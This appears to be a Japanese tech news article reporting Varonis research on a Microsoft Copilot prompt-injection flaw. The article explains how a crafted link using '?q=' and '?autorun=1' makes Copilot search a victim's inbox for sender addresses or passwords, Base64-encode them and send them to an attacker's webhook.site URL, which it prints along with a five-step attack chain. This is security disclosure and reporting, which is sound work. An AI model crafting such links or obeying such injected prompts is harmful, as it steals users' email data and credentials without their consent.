
テクノロジーメディアのArs Technicaは昨日(8月18日)記事を公開し、Microsoft Copilotにセキュリティ脆弱性が存在すると報じた。?autorun=1パラメーターと?q=を組み合わせることでユーザーの確認を回避し、ユーザー情報を窃取できるという。
IT之家が記事を引用して伝えたところ、セキュリティ企業Varonisの研究者は、多くのAIアシスタントと同様に、CopilotはURL経由でプロンプトを受け取れると指摘した。URLの基本部分でモデルにGmailなどのアプリを開かせ、後続のパラメーターやテキストで受信トレイの内容を要約したり、メールを下書きしたりするようアシスタントに指示できる。
研究者はCopilotに?autorun=1パラメーターが存在することを発見し、?q=と組み合わせてユーザーの確認を回避する、次のようなリンクを作成した。
https://copilot.microsoft.com/?q=&autorun=1ユーザーが攻撃者の作成したリンクをクリックすると、ブラウザーはユーザーがログイン済みのセッションでCopilotを読み込む。このとき?autorun=1が自動実行をトリガーし、?q=内のプロンプトはユーザーの操作なしで実行される。
研究者が作成したプロンプトは、Copilotに受信トレイを検索させ、最新の受信メールを見つけて送信者のメールアドレスだけを抽出し、その結果をSUPPORTという名前の変数に保存するよう要求するものだった。その後、Copilotは次のURLを生成し、「URLを要約」コマンドを実行する。
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORT攻撃者は悪意あるリンクを、メール、チャットメッセージ、フィッシングページ、QRコードなどを通じて被害者に送信できる。ユーザーがクリックすると、機密情報が別のURLに付加され、Copilotがそのアドレスを端末上で自動的に開く。ページは攻撃者が管理するWebサイトでホストされているため、最終的にデータは攻撃者へ送信される。

研究者はさらに別のプロンプトを設計し、Copilotに受信トレイからパスワードやその他の認証情報を検索させた。関連する秘密情報が見つかると、アシスタントはそれらを同じ種類の攻撃者が管理するサーバーへ送信する。データ窃取を隠し、転送エラーを減らすため、外部へ送信する内容はまずBase64(バイナリーデータをテキストにエンコードする形式)に変換される。
Varonisが列挙した攻撃チェーンは次の5段階。
1. 被害者が攻撃者によって巧妙に作成されたURLをクリックする(メール、チャット、フィッシングページ、QRコードなどを通じて拡散)
2. ブラウザーが、被害者のアクティブで認証済みのセッション上でcopilot.microsoft.comを読み込む。
3. ?autorun=1パラメーターが自動実行をトリガーし、?q=プロンプトがユーザーの操作なしで表示される。
4. Copilotが注入されたプロンプトを処理し、被害者のセッションコンテキスト、接続済みアプリ、メモリに完全にアクセスできる。
5. 読み込み完了直後にCopilotのタブを閉じても、ネットワーク取得、コネクター呼び出し、複数ラウンドのチェーン操作など、プロンプトは最後まで実行される。
